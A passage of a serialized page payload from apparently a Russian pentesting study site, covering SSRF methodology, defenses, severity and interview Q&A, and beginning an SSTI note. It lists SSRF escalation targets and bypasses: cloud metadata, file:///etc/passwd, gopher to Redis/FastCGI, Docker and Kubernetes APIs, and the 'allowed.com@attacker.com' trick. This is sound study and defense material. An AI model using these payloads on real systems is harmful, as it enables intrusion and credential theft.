XXE",[748,3201,3202,3208,3214,3217,3220],{},[333,3203,3204,3205],{},"API с ",[48,3206,3207],{},"Content-Type: application\u002Fxml",[333,3209,3210,3211],{},"Загрузка SVG: ",[48,3212,3213],{},"\u003Cimage xlink:href=\"http:\u002F\u002Finternal\u002F...\">",[333,3215,3216],{},"Загрузка DOCX\u002FXLSX (ZIP с XML внутри)",[333,3218,3219],{},"SOAP-эндпоинты",[333,3221,3222,3223,3226,3227],{},"Иногда можно сменить ",[48,3224,3225],{},"Content-Type: application\u002Fjson"," на ",[48,3228,3229],{},"application\u002Fxml",[21,3231,3232,3233,426],{},"Подробный разбор XXE → ",[24,3234,3235],{"href":2186},"XXE (XML External Entities)",[1997,3237],{},[16,3239,3241],{"id":3240},"_9-связки-с-другими-уязвимостями","9. Связки с другими уязвимостями",[2277,3243,3244,3256],{},[2280,3245,3246],{},[2283,3247,3248,3251,3253],{},[2286,3249,3250],{},"Цепочка",[2286,3252,2291],{},[2286,3254,3255],{},"Импакт",[2293,3257,3258,3271,3288,3301,3314,3327,3340],{},[2283,3259,3260,3265,3268],{},[2298,3261,3262],{},[637,3263,3264],{},"SSRF → XXE",[2298,3266,3267],{},"SSRF на внутренний сервис, который парсит XML",[2298,3269,3270],{},"Чтение файлов, дальнейший SSRF",[2283,3272,3273,3278,3285],{},[2298,3274,3275],{},[637,3276,3277],{},"XXE → SSRF",[2298,3279,3280,3281,3284],{},"Внешняя сущность с ",[48,3282,3283],{},"http:\u002F\u002F"," URI",[2298,3286,3287],{},"Доступ к внутренним сервисам, cloud metadata",[2283,3289,3290,3295,3298],{},[2298,3291,3292],{},[637,3293,3294],{},"SSRF → SSTI",[2298,3296,3297],{},"SSRF на внутренний сервис, который рендерит шаблоны",[2298,3299,3300],{},"RCE через template injection",[2283,3302,3303,3308,3311],{},[2298,3304,3305],{},[637,3306,3307],{},"SSTI → SSRF",[2298,3309,3310],{},"RCE через SSTI = можно делать любые запросы",[2298,3312,3313],{},"Полный доступ к внутренней сети",[2283,3315,3316,3321,3324],{},[2298,3317,3318],{},[637,3319,3320],{},"SSRF → Deserialization",[2298,3322,3323],{},"SSRF на внутренний Java\u002FPHP сервис с десериализацией",[2298,3325,3326],{},"RCE",[2283,3328,3329,3334,3337],{},[2298,3330,3331],{},[637,3332,3333],{},"SSRF + CRLF",[2298,3335,3336],{},"CRLF в URL → произвольные заголовки",[2298,3338,3339],{},"Обход IMDSv2, header injection",[2283,3341,3342,3347,3350],{},[2298,3343,3344],{},[637,3345,3346],{},"SSRF + Open Redirect",[2298,3348,3349],{},"Redirect на разрешённом домене как трамплин",[2298,3351,3352],{},"Обход whitelist",[1997,3354],{},[16,3356,3358],{"id":3357},"_10-методология-тестирования","10. Методология тестирования",[36,3360,3362],{"id":3361},"шаг-1-обнаружение","Шаг 1: Обнаружение",[748,3364,3365,3368,3371,3374],{},[333,3366,3367],{},"Найти все параметры, принимающие URL",[333,3369,3370],{},"Проверить скрытые параметры (Param Miner)",[333,3372,3373],{},"Посмотреть JS-файлы на скрытые эндпоинты",[333,3375,3376],{},"Проверить функции загрузки, импорта, webhook'ов",[36,3378,3380],{"id":3379},"шаг-2-подтверждение","Шаг 2: Подтверждение",[748,3382,3383,3386],{},[333,3384,3385],{},"Вставить Burp Collaborator URL",[333,3387,3388,3389],{},"Если callback не пришёл:\n",[748,3390,3391,3394,3397,3404],{},[333,3392,3393],{},"Попробовать обфускацию, другие схемы",[333,3395,3396],{},"Проверить DNS callback отдельно от HTTP",[333,3398,3399,3400,3403],{},"Сравнить тайминг: ",[48,3401,3402],{},"http:\u002F\u002F10.255.255.1"," (non-routable) vs обычный URL",[333,3405,3406],{},"Возможно, firewall блокирует исходящие — попробовать внутренние адреса",[36,3408,3410],{"id":3409},"шаг-3-определение-типа","Шаг 3: Определение типа",[748,3412,3413,3416],{},[333,3414,3415],{},"Ответ виден → non-blind → читаем данные",[333,3417,3418],{},"Только callback → blind → OOB\u002Fтайминг",[36,3420,3422],{"id":3421},"шаг-4-обход-фильтров","Шаг 4: Обход фильтров",[748,3424,3425,3428,3431,3434,3437],{},[333,3426,3427],{},"IP-обфускация (decimal, hex, octal, IPv6)",[333,3429,3430],{},"DNS-трюки (свой домен → 127.0.0.1, DNS rebinding)",[333,3432,3433],{},"URL-парсинг (@, #, %00)",[333,3435,3436],{},"Редиректы",[333,3438,3439],{},"Смена схемы",[36,3441,3443],{"id":3442},"шаг-5-эскалация","Шаг 5: Эскалация",[41,3445,3448],{"className":3446,"code":3447,"language":46},[44],"1. http:\u002F\u002F169.254.169.254\u002F...        → cloud credentials\n2. file:\u002F\u002F\u002Fetc\u002Fpasswd                → чтение файлов\n3. http:\u002F\u002F127.0.0.1:PORT             → сканирование портов\n4. gopher:\u002F\u002F127.0.0.1:6379\u002F...       → Redis → RCE\n5. gopher:\u002F\u002F127.0.0.1:9000\u002F...       → FastCGI → RCE\n6. http:\u002F\u002F127.0.0.1:2375\u002F...         → Docker API → RCE\n7. http:\u002F\u002Fkubernetes.default.svc\u002F... → K8s API → секреты кластера\n",[48,3449,3447],{"__ignoreMap":50},[21,3451,3452,3453,426],{},"Практическое упражнение: ",[24,3454,3456],{"href":3455},"\u002Fru\u002Fnotes\u002Fpentesting\u002Fportswigger-ssrf-blacklist-filter-bypass","SSRF с обходом blacklist-фильтра (PortSwigger)",[1997,3458],{},[16,3460,3462],{"id":3461},"_11-защита-от-ssrf","11. Защита от SSRF",[36,3464,3466],{"id":3465},"уровень-приложения-валидация-входа","Уровень приложения (валидация входа)",[330,3468,3469,3475,3497,3503,3513,3519,3529],{},[333,3470,3471,3474],{},[637,3472,3473],{},"Whitelist разрешённых доменов\u002FIP"," — не blacklist. Blacklist всегда можно обойти (decimal, hex, IPv6, домены-резолверы).",[333,3476,3477,3480,3481,3483,3484,3487,3488,973,3490,973,3492,973,3494,3496],{},[637,3478,3479],{},"Whitelist схем"," — только ",[48,3482,3283],{}," и ",[48,3485,3486],{},"https:\u002F\u002F",". Отключить ",[48,3489,2355],{},[48,3491,2377],{},[48,3493,2458],{},[48,3495,2424],{}," и остальные.",[333,3498,3499,3502],{},[637,3500,3501],{},"Ограничение портов"," — разрешить только стандартные HTTP-порты (80, 443, 8080, 8090). Это предотвращает взаимодействие с Redis (6379), MySQL (3306), FastCGI (9000).",[333,3504,3505,3508,3509,3512],{},[637,3506,3507],{},"Валидация IP после DNS-резолва"," — резолвишь DNS → проверяешь что IP не приватный (10.x, 172.16-31.x, 192.168.x, 127.x, 169.254.x, ::1) → подключаешься ",[637,3510,3511],{},"к тому же IP"," (не резолвишь повторно — иначе TOCTOU\u002FDNS rebinding).",[333,3514,3515,3518],{},[637,3516,3517],{},"Валидация доменных имён"," — проверять структуру URL, не доверять user-supplied домену без whitelist.",[333,3520,3521,3524,3525,3528],{},[637,3522,3523],{},"Отключить или валидировать редиректы"," — лучше отключить. Если бизнес требует — проверять ",[637,3526,3527],{},"каждый хоп",", не только первый URL. Частая ошибка: валидация только первого шага, а редирект уже проходит без проверки.",[333,3530,3531,3534,3535,3538,3539,3542,3543,3546],{},[637,3532,3533],{},"Понимать, как библиотека обрабатывает адреса"," — разные HTTP-клиенты по-разному парсят URL. ",[48,3536,3537],{},"urllib"," в Python, ",[48,3540,3541],{},"curl"," в PHP, ",[48,3544,3545],{},"HttpClient"," в Java — у каждого свои особенности с userinfo (@), фрагментами (#), null bytes.",[36,3548,3550],{"id":3549},"уровень-ответа-фильтрация-выхода","Уровень ответа (фильтрация выхода)",[330,3552,3553,3563,3569],{"start":1366},[333,3554,3555,3558,3559,3562],{},[637,3556,3557],{},"Фильтрация возвращаемой информации"," — если приложение ожидает определённый тип данных (JSON, изображение), проверять соответствие формата ",[637,3560,3561],{},"до"," отображения пользователю.",[333,3564,3565,3568],{},[637,3566,3567],{},"Блокировка детализации ответа"," — не возвращать пользователю полный ответ от внутреннего сервиса. Минимум информации.",[333,3570,3571,3574],{},[637,3572,3573],{},"Одинаковые сообщения об ошибках"," — унифицировать ошибки, чтобы нельзя было определить состояние внутренних портов и сервисов по разнице в error messages.",[36,3576,3578],{"id":3577},"уровень-инфраструктуры","Уровень инфраструктуры",[330,3580,3581,3587,3593,3603],{"start":1478},[333,3582,3583,3586],{},[637,3584,3585],{},"Сетевая сегментация"," — сервер приложения не должен иметь доступ к произвольным внутренним сервисам. Firewall-правила: только необходимые порты и хосты.",[333,3588,3589,3592],{},[637,3590,3591],{},"Ограничение доступа к внутренней инфраструктуре"," — для серверов, потенциально подверженных SSRF (те, что обрабатывают user-supplied URL), ограничить исходящие соединения к внутренней сети.",[333,3594,3595,3598,3599,3602],{},[637,3596,3597],{},"Изоляция"," — если функциональность с URL нельзя убрать, вынести её в ",[637,3600,3601],{},"отдельный изолированный сегмент"," сети с минимальными привилегиями.",[333,3604,3605,3608,3609,3612,3613,3616],{},[637,3606,3607],{},"Metadata concealment"," — IMDSv2 (AWS), обязательные заголовки (GCP: ",[48,3610,3611],{},"Metadata-Flavor",", Azure: ",[48,3614,3615],{},"Metadata","). Но не полагаться только на это — CRLF injection или gopher могут подставить заголовки.",[36,3618,3620],{"id":3619},"частые-ошибки","Частые ошибки",[748,3622,3623,3626,3629,3632,3635],{},[333,3624,3625],{},"Blacklist вместо whitelist — всегда можно обойти",[333,3627,3628],{},"Валидация URL строки, а не IP после резолва — DNS rebinding",[333,3630,3631],{},"Проверка только первого URL — редирект обходит",[333,3633,3634],{},"Забыли про IPv6, decimal, octal формы IP",[333,3636,3637],{},"Полагание на \"наша библиотека безопасна\" без проверки конкретного поведения",[1997,3639],{},[16,3641,3643],{"id":3642},"_12-оценка-severity","12. Оценка Severity",[2277,3645,3646,3656],{},[2280,3647,3648],{},[2283,3649,3650,3653],{},[2286,3651,3652],{},"Severity",[2286,3654,3655],{},"Условия",[2293,3657,3658,3668,3678,3688],{},[2283,3659,3660,3665],{},[2298,3661,3662],{},[637,3663,3664],{},"Critical",[2298,3666,3667],{},"Cloud credentials, RCE (Redis\u002FFastCGI\u002FDocker), доступ к БД с данными",[2283,3669,3670,3675],{},[2298,3671,3672],{},[637,3673,3674],{},"High",[2298,3676,3677],{},"Чтение файлов (file:\u002F\u002F), non-blind доступ к внутренней сети, доступ к внутренним API",[2283,3679,3680,3685],{},[2298,3681,3682],{},[637,3683,3684],{},"Medium",[2298,3686,3687],{},"Blind SSRF, сканирование портов, ограниченные протоколы",[2283,3689,3690,3695],{},[2298,3691,3692],{},[637,3693,3694],{},"Low",[2298,3696,3697],{},"Только внешние запросы, жёсткий whitelist с минимальным контролем",[1997,3699],{},[16,3701,3703],{"id":3702},"_13-инструменты","13. Инструменты",[2277,3705,3706,3716],{},[2280,3707,3708],{},[2283,3709,3710,3713],{},[2286,3711,3712],{},"Инструмент",[2286,3714,3715],{},"Назначение",[2293,3717,3718,3728,3738,3748,3758,3768],{},[2283,3719,3720,3725],{},[2298,3721,3722],{},[637,3723,3724],{},"Burp Collaborator",[2298,3726,3727],{},"Подтверждение blind SSRF (DNS\u002FHTTP callback)",[2283,3729,3730,3735],{},[2298,3731,3732],{},[637,3733,3734],{},"interactsh",[2298,3736,3737],{},"Бесплатная альтернатива Collaborator",[2283,3739,3740,3745],{},[2298,3741,3742],{},[637,3743,3744],{},"Gopherus",[2298,3746,3747],{},"Генерация gopher-payload'ов для Redis, MySQL, FastCGI, SMTP",[2283,3749,3750,3755],{},[2298,3751,3752],{},[637,3753,3754],{},"SSRFmap",[2298,3756,3757],{},"Автоматизация SSRF-эксплуатации",[2283,3759,3760,3765],{},[2298,3761,3762],{},[637,3763,3764],{},"Burp Intruder",[2298,3766,3767],{},"Фаззинг параметров и обход фильтров",[2283,3769,3770,3776],{},[2298,3771,3772,3775],{},[637,3773,3774],{},"Param Miner"," (Burp extension)",[2298,3777,3778],{},"Поиск скрытых параметров",[1997,3780],{},[16,3782,3784],{"id":3783},"_14-известные-кейсы","14. Известные кейсы",[21,3786,3787,3790],{},[637,3788,3789],{},"Capital One (2019):","\nSSRF → AWS metadata → IAM keys → S3 → утечка 106M записей. Штраф $80M.",[21,3792,3793,3796],{},[637,3794,3795],{},"GitLab (CVE-2021-22214):","\nSSRF через webhook-валидацию, обход через DNS rebinding.",[21,3798,3799,3802],{},[637,3800,3801],{},"Shopify (2018, Bug Bounty):","\nSSRF через импорт товаров → GCP metadata. Баунти $15,000.",[21,3804,3805,3808],{},[637,3806,3807],{},"Microsoft Exchange — ProxyLogon (2021):","\nЦепочка SSRF + deserialization → RCE. Массовая эксплуатация.",[1997,3810],{},[16,3812,3814],{"id":3813},"_15-qa-вопросы-для-подготовки","15. Q&A — Вопросы для подготовки",[36,3816,3818],{"id":3817},"_1-что-такое-ssrf-1","1. Что такое SSRF?",[21,3820,3821],{},"Уязвимость, при которой сервер выполняет сетевой запрос по адресу, контролируемому атакующим. Сервер становится \"прокси\" — он находится внутри сетевого периметра и имеет доступ к ресурсам, недоступным извне. Атакующий не обращается к цели напрямую, а заставляет сервер сделать это, используя его привилегии и сетевое расположение.",[36,3823,3825],{"id":3824},"_2-какие-функции-чаще-всего-становятся-входом-для-ssrf","2. Какие функции чаще всего становятся входом для SSRF?",[21,3827,3828],{},"Любой функционал, где сервер обращается по user-supplied URL: загрузка изображений\u002Fфайлов по ссылке, webhook'и, превью ссылок, импорт данных (RSS\u002FXML\u002FCSV), PDF\u002FHTML-генерация, интеграции с внешними API. Менее очевидные точки: XML-парсинг (XXE→SSRF), загрузка SVG\u002FDOCX, проверки доступности URL, серверные редиректы.",[36,3830,3832],{"id":3831},"_3-почему-ssrf-опаснее-чем-просто-сервер-сходил-не-туда","3. Почему SSRF опаснее, чем просто \"сервер сходил не туда\"?",[21,3834,3835],{},"Сервер находится в доверенной зоне сети. Он может обращаться к cloud metadata (169.254.169.254) и получить IAM-ключи — это путь к полному компрометированию облачной инфраструктуры. Внутренние сервисы (Redis, Docker API, Kubernetes) часто не имеют аутентификации для запросов из внутренней сети. Один SSRF может превратиться в RCE, утечку данных или lateral movement по всей инфраструктуре.",[36,3837,3839],{"id":3838},"_4-чем-blind-ssrf-отличается-от-обычного-ssrf","4. Чем blind SSRF отличается от \"обычного\" SSRF?",[21,3841,3842],{},"При обычном (non-blind) SSRF ответ внутреннего сервиса возвращается атакующему — можно читать данные напрямую. При blind SSRF ответ не виден. Подтверждение и эксплуатация идут через побочные каналы: OOB-callback (DNS\u002FHTTP на свой сервер), разницу во времени ответа (открытый порт быстро, закрытый — timeout), разницу в ошибках, или побочные эффекты запроса (например, удаление данных через внутренний API).",[36,3844,3846],{"id":3845},"_5-где-искать-скрытую-поверхность-атаки-для-ssrf-кроме-очевидного-параметра-url","5. Где искать скрытую поверхность атаки для SSRF, кроме очевидного параметра url?",[21,3848,3849,3850,973,3852,3854],{},"Заголовки (",[48,3851,2230],{},[48,3853,2236],{},"), скрытые параметры (Param Miner), PDF\u002FHTML-генераторы (Puppeteer\u002Fwkhtmltopdf рендерят ресурсы из HTML), XML-парсеры (XXE→SSRF), офисные документы (DOCX\u002FXLSX содержат XML с external entities), JS-файлы клиента (могут раскрывать скрытые эндпоинты бэкенда), серверные редиректы.",[36,3856,3858],{"id":3857},"_6-почему-доступ-только-к-localhost-или-внутренней-сети-не-делает-ssrf-безопасным","6. Почему доступ \"только к localhost или внутренней сети\" не делает SSRF безопасным?",[21,3860,3861],{},"На localhost работают десятки сервисов: Redis (6379), Docker API (2375), MySQL (3306), PHP-FPM (9000), Kubernetes kubelet (10255). Многие из них не требуют аутентификации для локальных подключений. Redis без пароля + gopher = запись произвольных файлов → crontab → reverse shell. Docker API → создание контейнера с монтированием хост-файловой системы → полный контроль.",[36,3863,3865],{"id":3864},"_7-почему-простая-regex-валидация-url-и-blocklist-почти-всегда-ненадёжны","7. Почему простая regex-валидация URL и blocklist почти всегда ненадёжны?",[21,3867,3868,3869,973,3872,3875,3876,3879],{},"IP-адрес 127.0.0.1 можно записать десятком способов: decimal (2130706433), hex (0x7f000001), octal (0177.0.0.01), IPv6 (",[308,3870,3871],{},"::1",[308,3873,3874],{},"::ffff:127.0.0.1","), короткие формы (127.1, 0). Есть домены, резолвящиеся в 127.0.0.1 (localtest.me, vcap.me). URL-парсинг имеет разночтения: ",[48,3877,3878],{},"allowed.com@attacker.com",", null bytes, fragment tricks. Regex не учитывает все варианты кодирования и парсинг-разночтения.",[36,3881,3883],{"id":3882},"_8-почему-в-ssrf-так-важны-redirects-и-dns","8. Почему в SSRF так важны redirects и DNS?",[21,3885,3886,3887,3890,3891,3894],{},"Редиректы позволяют обойти валидацию первого URL: фильтр проверяет ",[48,3888,3889],{},"http:\u002F\u002Fallowed.com\u002Fredirect",", а тот возвращает 302 на ",[48,3892,3893],{},"http:\u002F\u002F127.0.0.1\u002Fadmin",". Через редирект можно менять схему (http → gopher). DNS rebinding эксплуатирует TOCTOU: при проверке домен резолвится во внешний IP (проходит валидацию), при подключении — в 127.0.0.1. Если приложение не валидирует каждый шаг и не привязывает IP после resolve — эти обходы работают.",[36,3896,3898],{"id":3897},"_9-почему-ssrf-особенно-опасен-в-облаке-и-контейнерной-среде","9. Почему SSRF особенно опасен в облаке и контейнерной среде?",[21,3900,3901,3902,3905],{},"Облачные провайдеры предоставляют metadata service (169.254.169.254) с IAM-ключами, токенами, конфигурацией. IMDSv1 (AWS) отдаёт ключи по простому GET — идеальная цель для SSRF. В Kubernetes каждый Pod имеет service account token, а Kubernetes API доступен по DNS имени ",[48,3903,3904],{},"kubernetes.default.svc",". Docker API без TLS на порту 2375 позволяет создавать контейнеры с доступом к хост-системе. Плотная компоновка сервисов в контейнерах увеличивает attack surface.",[36,3907,3909],{"id":3908},"_10-как-выглядит-зрелая-защита-от-ssrf","10. Как выглядит зрелая защита от SSRF?",[21,3911,3912,3913,3916,3917,3920,3921,3924],{},"Три уровня. ",[637,3914,3915],{},"Приложение:"," whitelist разрешённых доменов и схем (только http\u002Fhttps), валидация IP после DNS resolve (не URL-строки, а resolved IP — и использование того же IP для подключения), отключение или пошаговая валидация редиректов, понимание поведения конкретной HTTP-библиотеки. ",[637,3918,3919],{},"Ответ:"," фильтрация формата возвращаемых данных, унификация ошибок, минимизация возвращаемой информации. ",[637,3922,3923],{},"Инфраструктура:"," сетевая сегментация, IMDSv2\u002Fmetadata headers, изоляция SSRF-подверженных сервисов в отдельный сегмент.",[1997,3926],{},[16,3928,3930],{"id":3929},"_16-шпаргалка-для-быстрого-повторения","16. Шпаргалка для быстрого повторения",[41,3932,3935],{"className":3933,"code":3934,"language":46},[44],"SSRF = сервер ходит по URL атакующего\n\nГде: url=, загрузки, вебхуки, PDF-генерация, XML-парсинг\nТипы: non-blind (видим ответ) \u002F blind (не видим)\nПротоколы: http, file, gopher, dict\n\nОбход фильтров:\n  IP → decimal\u002Fhex\u002Foctal\u002FIPv6\u002Fдомены\n  Домен → @, #, open redirect, DNS rebinding\n  Схема → регистр, редирект\n  TOCTOU → проверка и использование — разные моменты\n  CRLF → произвольные заголовки в запросе\n\nЦели:\n  169.254.169.254 → cloud keys (AWS\u002FGCP\u002FAzure)\n  file:\u002F\u002F\u002Fetc\u002Fpasswd → файлы\n  gopher → Redis\u002FFastCGI → RCE\n  Docker API (2375) → RCE\n  Kubernetes API → секреты кластера\n  Service account token → \u002Fvar\u002Frun\u002Fsecrets\u002Fkubernetes.io\u002F...\n\nЗащита:\n  Приложение: whitelist доменов\u002Fсхем, валидация IP после resolve, контроль редиректов\n  Ответ: фильтрация формата, uniform errors, минимум данных\n  Инфраструктура: сегментация, IMDSv2, изоляция\n\nSeverity: RCE\u002Fcloud keys = critical, файлы\u002Fвнутренняя сеть = high, blind = medium\n",[48,3936,3934],{"__ignoreMap":50},[357,3938,3939],{},"html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .s4XuR, html code.shiki .s4XuR{--shiki-default:#E36209;--shiki-dark:#FFAB70}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}",{"title":50,"searchDepth":98,"depth":98,"links":3941},[3942,3943,3949,3954,3961,3970,3977,3985,3990,3991,3998,4004,4005,4006,4007,4019],{"id":1978,"depth":98,"text":1979},{"id":2001,"depth":98,"text":2002,"children":3944},[3945,3946,3947,3948],{"id":2005,"depth":104,"text":2006},{"id":2035,"depth":104,"text":2036},{"id":2212,"depth":104,"text":2213},{"id":2222,"depth":104,"text":2223},{"id":2246,"depth":98,"text":2247,"children":3950},[3951,3952,3953],{"id":2250,"depth":104,"text":2251},{"id":2267,"depth":104,"text":2268},{"id":2330,"depth":104,"text":2331},{"id":2343,"depth":98,"text":2344,"children":3955},[3956,3957,3958,3959,3960],{"id":2347,"depth":104,"text":2348},{"id":2354,"depth":104,"text":2355},{"id":2376,"depth":104,"text":2377},{"id":2423,"depth":104,"text":2424},{"id":2450,"depth":104,"text":2451},{"id":2490,"depth":98,"text":2491,"children":3962},[3963,3964,3965,3966,3967,3968,3969],{"id":2494,"depth":104,"text":2495},{"id":2567,"depth":104,"text":2568},{"id":2607,"depth":104,"text":2608},{"id":2617,"depth":104,"text":2618},{"id":2650,"depth":104,"text":2651},{"id":2702,"depth":104,"text":2703},{"id":2713,"depth":104,"text":2714},{"id":2738,"depth":98,"text":2739,"children":3971},[3972,3973,3974,3975,3976],{"id":2742,"depth":104,"text":2743},{"id":2834,"depth":104,"text":2835},{"id":2853,"depth":104,"text":2854},{"id":2870,"depth":104,"text":2871},{"id":2880,"depth":104,"text":2881},{"id":2898,"depth":98,"text":2899,"children":3978},[3979,3980,3981,3982,3983,3984],{"id":2902,"depth":104,"text":2903},{"id":2960,"depth":104,"text":2961},{"id":3006,"depth":104,"text":3007},{"id":3022,"depth":104,"text":3023},{"id":3049,"depth":104,"text":3050},{"id":3088,"depth":104,"text":3089},{"id":3118,"depth":98,"text":3119,"children":3986},[3987,3988,3989],{"id":3125,"depth":104,"text":3126},{"id":3161,"depth":104,"text":3162},{"id":3198,"depth":104,"text":3199},{"id":3240,"depth":98,"text":3241},{"id":3357,"depth":98,"text":3358,"children":3992},[3993,3994,3995,3996,3997],{"id":3361,"depth":104,"text":3362},{"id":3379,"depth":104,"text":3380},{"id":3409,"depth":104,"text":3410},{"id":3421,"depth":104,"text":3422},{"id":3442,"depth":104,"text":3443},{"id":3461,"depth":98,"text":3462,"children":3999},[4000,4001,4002,4003],{"id":3465,"depth":104,"text":3466},{"id":3549,"depth":104,"text":3550},{"id":3577,"depth":104,"text":3578},{"id":3619,"depth":104,"text":3620},{"id":3642,"depth":98,"text":3643},{"id":3702,"depth":98,"text":3703},{"id":3783,"depth":98,"text":3784},{"id":3813,"depth":98,"text":3814,"children":4008},[4009,4010,4011,4012,4013,4014,4015,4016,4017,4018],{"id":3817,"depth":104,"text":3818},{"id":3824,"depth":104,"text":3825},{"id":3831,"depth":104,"text":3832},{"id":3838,"depth":104,"text":3839},{"id":3845,"depth":104,"text":3846},{"id":3857,"depth":104,"text":3858},{"id":3864,"depth":104,"text":3865},{"id":3882,"depth":104,"text":3883},{"id":3897,"depth":104,"text":3898},{"id":3908,"depth":104,"text":3909},{"id":3929,"depth":98,"text":3930},"2026-04-19","Полный разбор SSRF — где искать, типы, протоколы, обход фильтров, cloud metadata, пути к RCE, защита. Теория, методология, чит-шит.",{},"\u002Fnotes\u002Fpentesting\u002Fssrf",{"title":1963,"description":4021},"notes\u002Fpentesting\u002Fssrf",[4027,4028,4029,119,121],"ssrf","cloud","filter-bypass","cheatsheet","IBvCUILiKhyuiyf8eyP6Cl8BcwCjR58rkO6E6TS8-X4",{"id":4033,"title":4034,"author":6,"body":4035,"date":4020,"description":6340,"difficulty":110,"extension":109,"image":110,"inProgress":110,"logged":110,"marathonStartDate":110,"meta":6341,"navigation":112,"notes":110,"path":6342,"psTitle":110,"seo":6343,"stem":6344,"tags":6345,"timeSpent":110,"type":4030,"__hash__":6348},"content_ru\u002Fnotes\u002Fpentesting\u002Fssti.md","Server-Side Template Injection (SSTI)",{"type":8,"value":4036,"toc":6267},[4037,4040,4044,4051,4057,4064,4068,4118,4129,4131,4135,4219,4222,4224,4228,4232,4502,4506,4523,4525,4529,4533,4536,4541,4555,4560,4597,4601,4608,4614,4620,4626,4630,4633,4639,4642,4681,4684,4688,4694,4700,4707,4711,4718,4724,4730,4740,4777,4779,4783,4787,4790,4813,4823,4830,4844,4851,4853,4857,4861,4870,4875,4956,4961,4967,4972,4975,4981,4984,4990,4993,4999,5002,5008,5013,5020,5026,5030,5047,5053,5057,5062,5068,5073,5079,5083,5089,5094,5100,5104,5111,5116,5122,5127,5133,5137,5143,5147,5153,5156,5162,5166,5171,5177,5182,5188,5192,5199,5226,5230,5233,5239,5243,5246,5252,5262,5268,5272,5279,5284,5290,5295,5301,5306,5312,5314,5318,5325,5328,5334,5337,5341,5347,5355,5357,5361,5367,5373,5379,5383,5389,5391,5393,5396,5471,5478,5480,5482,5486,5524,5528,5534,5540,5546,5549,5555,5559,5565,5568,5574,5578,5581,5584,5590,5594,5650,5652,5656,5660,5704,5708,5748,5752,5781,5791,5793,5795,5843,5850,5852,5854,5926,5930,6027,6029,6031,6037,6043,6051,6057,6063,6065,6067,6071,6088,6092,6095,6099,6117,6121,6149,6153,6168,6172,6188,6192,6213,6217,6243,6247,6254,6256,6258,6264],[11,4038,4034],{"id":4039},"server-side-template-injection-ssti",[16,4041,4043],{"id":4042},"_1-что-такое-ssti","1. Что такое SSTI",[21,4045,4046,4047,4050],{},"SSTI — уязвимость, при которой ",[637,4048,4049],{},"пользовательский ввод попадает в шаблон и интерпретируется шаблонизатором как код",", а не как данные.",[41,4052,4055],{"className":4053,"code":4054,"language":46},[44],"Атакующий → ввод: {{7*7}} → Шаблонизатор → интерпретирует как выражение\n                                              ↓\n                                            49 в ответе\n                                              ↓\n                                   sandbox escape → RCE\n",[48,4056,4054],{"__ignoreMap":50},[21,4058,4059,4060,4063],{},"Ключевое: шаблонизатор ",[637,4061,4062],{},"вычисляет"," выражения, вызывает методы, обходит объекты — атакующий использует эту мощность для выполнения кода на сервере.",[36,4065,4067],{"id":4066},"безопасно-vs-уязвимо","Безопасно vs Уязвимо",[41,4069,4072],{"className":4070,"code":4071,"language":1144,"meta":50,"style":50},"language-python shiki shiki-themes github-light github-dark","# БЕЗОПАСНО — ввод передаётся как данные\ntemplate = \"Привет, {{ username }}!\"\nrender(template, username=user_input)\n# user_input = \"{{7*7}}\" → отобразится буквально \"{{7*7}}\"\n\n# УЯЗВИМО — ввод вставляется в сам шаблон\ntemplate = \"Привет, \" + user_input + \"!\"\nrender(template)\n# user_input = \"{{7*7}}\" → шаблонизатор вычислит → \"Привет, 49!\"\n",[48,4073,4074,4079,4084,4089,4094,4098,4103,4108,4113],{"__ignoreMap":50},[308,4075,4076],{"class":310,"line":311},[308,4077,4078],{},"# БЕЗОПАСНО — ввод передаётся как данные\n",[308,4080,4081],{"class":310,"line":98},[308,4082,4083],{},"template = \"Привет, {{ username }}!\"\n",[308,4085,4086],{"class":310,"line":104},[308,4087,4088],{},"render(template, username=user_input)\n",[308,4090,4091],{"class":310,"line":1327},[308,4092,4093],{},"# user_input = \"{{7*7}}\" → отобразится буквально \"{{7*7}}\"\n",[308,4095,4096],{"class":310,"line":1336},[308,4097,1636],{"emptyLinePlaceholder":112},[308,4099,4100],{"class":310,"line":1349},[308,4101,4102],{},"# УЯЗВИМО — ввод вставляется в сам шаблон\n",[308,4104,4105],{"class":310,"line":1360},[308,4106,4107],{},"template = \"Привет, \" + user_input + \"!\"\n",[308,4109,4110],{"class":310,"line":1366},[308,4111,4112],{},"render(template)\n",[308,4114,4115],{"class":310,"line":1452},[308,4116,4117],{},"# user_input = \"{{7*7}}\" → шаблонизатор вычислит → \"Привет, 49!\"\n",[21,4119,4120,4121,4124,4125,4128],{},"Разница: ",[637,4122,4123],{},"данные в шаблон"," (безопасно) vs ",[637,4126,4127],{},"ввод КАК шаблон"," (SSTI).",[1997,4130],{},[16,4132,4134],{"id":4133},"_2-ssti-vs-xss-принципиальная-разница","2. SSTI vs XSS — принципиальная разница",[2277,4136,4137,4149],{},[2280,4138,4139],{},[2283,4140,4141,4143,4146],{},[2286,4142],{},[2286,4144,4145],{},"XSS",[2286,4147,4148],{},"SSTI",[2293,4150,4151,4164,4177,4190,4205],{},[2283,4152,4153,4158,4161],{},[2298,4154,4155],{},[637,4156,4157],{},"Где исполняется",[2298,4159,4160],{},"В браузере (клиент)",[2298,4162,4163],{},"На 